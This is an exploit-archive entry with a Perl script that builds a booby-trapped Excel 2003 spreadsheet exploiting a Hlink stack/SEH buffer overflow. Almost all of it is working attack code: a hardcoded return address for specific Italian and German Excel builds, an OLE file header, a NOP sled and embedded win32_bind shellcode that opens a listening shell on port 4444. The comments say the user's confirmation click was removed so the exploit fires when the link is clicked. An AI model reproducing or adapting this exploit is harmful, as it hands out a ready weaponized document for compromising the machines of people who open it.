Microsoft Excel 2003 (Italian) - Hlink Local Buffer Overflow

EDB-ID:

1988

CVE:

N/A


Author:

oveRet

Type:

local


Platform:

Windows

Date:

2006-07-06


#!perl
#
# "Microsoft Office Excel 2003" Hlink Stack/SEH Overflow Exploit
#
# Author:  Giuseppe Gottardi (aka oveRet) overet@securitydate.it
# 
# Note:
# This exploit was originaly written by Manuel Santamarina Suarez, but it
# was working by clicking on the link and then on the "Yes" button.
# In this version of exploit the author adds the RET address for Microsoft 
# Office Excel 2003 (Italian; 11.5612.5606) and removed user confirmation 
# by "Yes" button.
# 
# The exploit now simply works by clicking on the link.
#

# (read/write/EXECUTABLE .data section)
#$sc_addr = reverse( "\x30\x85\xD9\x40" ); # MS Office Excel 2003 (Italian; 11.5612.5606)
$sc_addr = reverse( "\x30\x87\xAC\x80" );  # MS Office Excel 2003 (German/italian; 11.8012.6568; SP2)

#
# filename
#
$filename = 'exploit_without_confirm.xls';

# win32_bind - Shellcode , port = 4444 , thanks to http://metasploit.com
#
$sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85".
      "\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19".
      "\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05".
      "\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0".
      "\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74".
      "\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15".
      "\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14".
      "\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53".
      "\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce".
      "\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf".
      "\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb".
      "\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18".
      "\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6".
      "\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16".
      "\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f".
      "\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c".
      "\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18".
      "\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f".
      "\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8".
      "\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e".
      "\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f".
      "\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27".
      "\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2".
      "\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a".
      "\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";


$sc_len = 5608;

$header = "\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x3e\x00\x03\x00\xfe\xff\x09\x00".
         "\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
         "\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\xfe\xff\xff\xff".
         "\x00\x00\x00\x00\xfe\xff\xff\xff\x00\x00\x00\x00\x2f\x00\x00\x00".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\x09\x08\x10\x00\x00\x06\x05\x00\xbb\x0d\xcc\x07\x41\x00\x00\x00".
         "\x06\x00\x00\x00\x42\x00\x02\x00\xe4\x04\x8d\x00\x02\x00\x00\x00".
         "\x3d\x00\x12\x00\x00\x00\x00\x00\x5c\x35\xed\x30\x38\x00\x00\x00".
         "\x00\x00\x01\x00\x58\x02\x22\x00\x02\x00\x00\x00\x31\x00\x15\x00".
         "\xc8\x00\x00\x00\xff\x7f\x90\x01\x00\x00\x00\x00\x00\x00\x05\x00".
         "\x41\x72\x69\x61\x6c\x31\x00\x15\x00\xc8\x00\x00\x00\xff\x7f\x90".
         "\x01\x00\x00\x00\x00\x00\x00\x05\x00\x41\x72\x69\x61\x6c\x31\x00".
         "\x15\x00\xc8\x00\x00\x00\xff\x7f\x90\x01\x00\x00\x00\x00\x00\x00".
         "\x05\x00\x41\x72\x69\x61\x6c\x31\x00\x15\x00\xc8\x00\x00\x00\xff".
         "\x7f\x90\x01\x00\x00\x00\x00\x00\x00\x05\x00\x41\x72\x69\x61\x6c".
         "\x31\x00\x16\x00\xa0\x00\x00\x00\xff\x7f\x90\x01\x00\x00\x00\x00".
         "\x00\x00\x06\x00\x54\x61\x68\x6f\x6d\x61\x31\x00\x15\x00\xc8\x00".
         "\x00\x00\x0c\x00\x90\x01\x00\x00\x01\x00\x00\x00\x05\x00\x41\x72".
         "\x69\x61\x6c\xe0\x00\x14\x00\x00\x00\x00\x00\xf5\xff\x20\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x20\xe0\x00\x14\x00\x00".
         "\x00\x00\x00\xf5\xff\x20\x00\x00\xf4\x00\x00\x00\x00\x00\x00\x00".
         "\x00\xc0\x20\xe0\x00\x14\x00\x00\x00\x00\x00\xf5\xff\x20\x00\x00".
         "\xf4\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x20\xe0\x00\x14\x00\x00".
         "\x00\x00\x00\xf5\xff\x20\x00\x00\xf4\x00\x00\x00\x00\x00\x00\x00".
         "\x00\xc0\x20\xe0\x00\x14\x00\x00\x00\x00\x00\xf5\xff\x20\x00\x00".
         "\xf4\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x20\xe0\x00\x14\x00\x00".
         "\x00\x00\x00\xf5\xff\x20\x00\x00\xf4\x00\x00\x00\x00\x00\x00\x00".
         "\x00\xc0\x20\xe0\x00\x14\x00\x00\x00\x00\x00\xf5\xff\x20\x00\x00".
         "\xf4\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x20\xe0\x00\x14\x00\x00".
         "\x00\x00\x00\xf5\xff\x20\x00\x00\xf4\x00\x00\x00\x00\x00\x00\x00".
         "\x00\xc0\x20\xe0\x00\x14\x00\x00\x00\x00\x00\xf5\xff\x20\x00\x00".
         "\xf4\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x20\xe0\x00\x14\x00\x00".
         "\x00\x00\x00\xf5\xff\x20\x00\x00\xf4\x00\x00\x00\x00\x00\x00\x00".
         "\x00\xc0\x20\xe0\x00\x14\x00\x00\x00\x00\x00\xf5\xff\x20\x00\x00".
         "\xf4\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x20\xe0\x00\x14\x00\x00".
         "\x00\x00\x00\xf5\xff\x20\x00\x00\xf4\x00\x00\x00\x00\x00\x00\x00".
         "\x00\xc0\x20\xe0\x00\x14\x00\x00\x00\x00\x00\xf5\xff\x20\x00\x00".
         "\xf4\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x20\xe0\x00\x14\x00\x00".
         "\x00\x00\x00\xf5\xff\x20\x00\x00\xf4\x00\x00\x00\x00\x00\x00\x00".
         "\x00\xc0\x20\xe0\x00\x14\x00\x00\x00\x00\x00\xf5\xff\x20\x00\x00".
         "\xf4\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x20\xe0\x00\x14\x00\x00".
         "\x00\x00\x00\x01\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\xc0\x20\xe0\x00\x14\x00\x00\x00\x2b\x00\xf5\xff\x20\x00\x00".
         "\xf8\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x20\xe0\x00\x14\x00\x00".
         "\x00\x29\x00\xf5\xff\x20\x00\x00\xf8\x00\x00\x00\x00\x00\x00\x00".
         "\x00\xc0\x20\xe0\x00\x14\x00\x00\x00\x2c\x00\xf5\xff\x20\x00\x00".
         "\xf8\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x20\xe0\x00\x14\x00\x00".
         "\x00\x2a\x00\xf5\xff\x20\x00\x00\xf8\x00\x00\x00\x00\x00\x00\x00".
         "\x00\xc0\x20\xe0\x00\x14\x00\x00\x00\x09\x00\xf5\xff\x20\x00\x00".
         "\xf8\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x20\xe0\x00\x14\x00\x06".
         "\x00\x00\x00\x01\x00\x20\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00".
         "\x00\xc0\x20\x93\x02\x04\x00\x10\x80\x03\xff\x93\x02\x04\x00\x11".
         "\x80\x06\xff\x93\x02\x04\x00\x12\x80\x04\xff\x93\x02\x04\x00\x13".
         "\x80\x07\xff\x93\x02\x04\x00\x00\x80\x00\xff\x93\x02\x04\x00\x14".
         "\x80\x05\xff\x92\x00\xe2\x00\x38\x00\x00\x00\x00\x00\xff\xff\xff".
         "\x00\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff\x00\xff\xff\x00".
         "\x00\xff\x00\xff\x00\x00\xff\xff\x00\x80\x00\x00\x00\x00\x80\x00".
         "\x00\x00\x00\x80\x00\x80\x80\x00\x00\x80\x00\x80\x00\x00\x80\x80".
         "\x00\xc0\xc0\xc0\x00\x80\x80\x80\x00\x99\x99\xff\x00\x99\x33\x66".
         "\x00\xff\xff\xcc\x00\xcc\xff\xff\x00\x66\x00\x66\x00\xff\x80\x80".
         "\x00\x00\x66\xcc\x00\xcc\xcc\xff\x00\x00\x00\x80\x00\xff\x00\xff".
         "\x00\xff\xff\x00\x00\x00\xff\xff\x00\x80\x00\x80\x00\x80\x00\x00".
         "\x00\x00\x80\x80\x00\x00\x00\xff\x00\x00\xcc\xff\x00\xcc\xff\xff".
         "\x00\xcc\xff\xcc\x00\xff\xff\x99\x00\x99\xcc\xff\x00\xff\x99\xcc".
         "\x00\xcc\x99\xff\x00\xff\xcc\x99\x00\x33\x66\xff\x00\x33\xcc\xcc".
         "\x00\x99\xcc\x00\x00\xff\xcc\x00\x00\xff\x99\x00\x00\xff\x66\x00".
         "\x00\x66\x66\x99\x00\x96\x96\x96\x00\x00\x33\x66\x00\x33\x99\x66".
         "\x00\x00\x33\x00\x00\x33\x33\x00\x00\x99\x33\x00\x00\x99\x33\x66".
         "\x00\x33\x33\x99\x00\x33\x33\x33\x00\x85\x00\x0e\x00\x22\x04\x00".
         "\x00\x00\x00\x06\x00\x53\x68\x65\x65\x74\x31\xfc\x00\x0f\x00\x01".
         "\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x4c\x49\x4e\x4b\x0a\x00".
         "\x00\x00\x09\x08\x10\x00\x00\x06\x10\x00\xbb\x0d\xcc\x07\x41\x00".
         "\x00\x00\x06\x00\x00\x00\x2a\x00\x02\x00\x00\x00\x2b\x00\x02\x00".
         "\x01\x00\x82\x00\x02\x00\x00\x00\x80\x00\x08\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x25\x02\x04\x00\x00\x00\xff\x00\x81\x00\x02\x00".
         "\xc1\x04\x14\x00\x03\x00\x00\x00\x00\x15\x00\x03\x00\x00\x00\x00".
         "\x83\x00\x02\x00\x00\x00\x84\x00\x02\x00\x00\x00\x26\x00\x08\x00".
         "\x00\x00\x00\x00\x00\x00\xe8\x3f\x27\x00\x08\x00\x00\x00\x00\x00".
         "\x00\x00\xe8\x3f\x28\x00\x08\x00\x00\x00\x00\x00\x00\x00\xf0\x3f".
         "\x29\x00\x08\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\xa1\x00\x22\x00".
         "\x00\x00\x64\x00\x01\x00\x00\x00\x00\x00\x02\x00\x58\x02\x58\x02".
         "\x00\x00\x00\x00\x00\x00\xe0\x3f\x00\x00\x00\x00\x00\x00\xe0\x3f".
         "\x01\x00\x55\x00\x02\x00\x08\x00\x00\x02\x0e\x00\x00\x00\x00\x00".
         "\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\xfd\x00\x0a\x00\x00\x00".
         "\x00\x00\x15\x00\x00\x00\x00\x00\xb8\x01\x1c\x20\x00\x00\x00\x00".
         "\x00\x00\x00\x00\xd0\xc9\xea\x79\xf9\xba\xce\x11\x8c\x82\x00\xaa".
         "\x00\x4b\xa9\x0b\x02\x00\x00\x00\x03\x00\x00\x00\xe0\xc9\xea\x79".
         "\xf9\xba\xce\x11\x8c\x82\x00\xaa\x00\x4b\xa9\x0b\xf2\x55\x00\x00".
	 "\x68\x00\x74\x00\x74\x00\x70\x00\x3a\x00\x2f\x00\x2f\x00\x41\x00";

$body1   = "\x3c\x00\x20\x20";

$body2   = "\x3c\x00\xea\x15";

$footer = "\x00\x00\x3e\x02\x12\x00\xb6\x06\x00\x00\x00\x00\x40\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x0f\x00\x03\x00\x00\x00".
         "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x52\x00\x6f\x00\x6f\x00\x74\x00".
         "\x20\x00\x45\x00\x6e\x00\x74\x00\x72\x00\x79\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x05\x00\xff\xff\xff\xff".
         "\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x57\x00\x6f\x00\x72\x00\x6b\x00".
         "\x62\x00\x6f\x00\x6f\x00\x6b\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x02\x00\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x57\x5b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
         "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00".
         "\x03\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x06\x00\x00\x00".
         "\x07\x00\x00\x00\x08\x00\x00\x00\x09\x00\x00\x00\x0a\x00\x00\x00".
         "\x0b\x00\x00\x00\x0c\x00\x00\x00\x0d\x00\x00\x00\x0e\x00\x00\x00".
         "\x0f\x00\x00\x00\x10\x00\x00\x00\x11\x00\x00\x00\x12\x00\x00\x00".
         "\x13\x00\x00\x00\x14\x00\x00\x00\x15\x00\x00\x00\x16\x00\x00\x00".
         "\x17\x00\x00\x00\x18\x00\x00\x00\x19\x00\x00\x00\x1a\x00\x00\x00".
         "\x1b\x00\x00\x00\x1c\x00\x00\x00\x1d\x00\x00\x00\x1e\x00\x00\x00".
         "\x1f\x00\x00\x00\x20\x00\x00\x00\x21\x00\x00\x00\x22\x00\x00\x00".
         "\x23\x00\x00\x00\x24\x00\x00\x00\x25\x00\x00\x00\x26\x00\x00\x00".
         "\x27\x00\x00\x00\x28\x00\x00\x00\x29\x00\x00\x00\x2a\x00\x00\x00".
         "\x2b\x00\x00\x00\x2c\x00\x00\x00\x2d\x00\x00\x00\xfe\xff\xff\xff".
         "\xfe\xff\xff\xff\xfd\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
         "\xff\xff\xff\xff\xff\xff\xff\xff";


print '"Microsoft Office Excel 2003" Hlink Stack/SEH Overflow Exploit'."\n\n";

if( length( $sc ) > $sc_len )
{

   print "[-] Error: Shellcode size exceeds $sc_len bytes!";
   exit( 1 );

}

print "[+] Creating file...\n";
open ( FILE, ">$filename" ) || die "[-] $!";
binmode ( FILE );

print "[+] Writing exploit into the file...\n";
$fill_cnt = $sc_len - length( $sc );

for ( $i = 1; $i <= $fill_cnt; $i++ )
{

   $sc = "\x90$sc";

}

print FILE $header . 'Fill' x 955 . $sc_addr . 'Fill' x 1082 . $body1 . 'Fill' x 2056 . "$body2$sc$footer";

close ( FILE );

print "[+] Exploit file has been successfully built.\n";

# milw0rm.com [2006-07-06]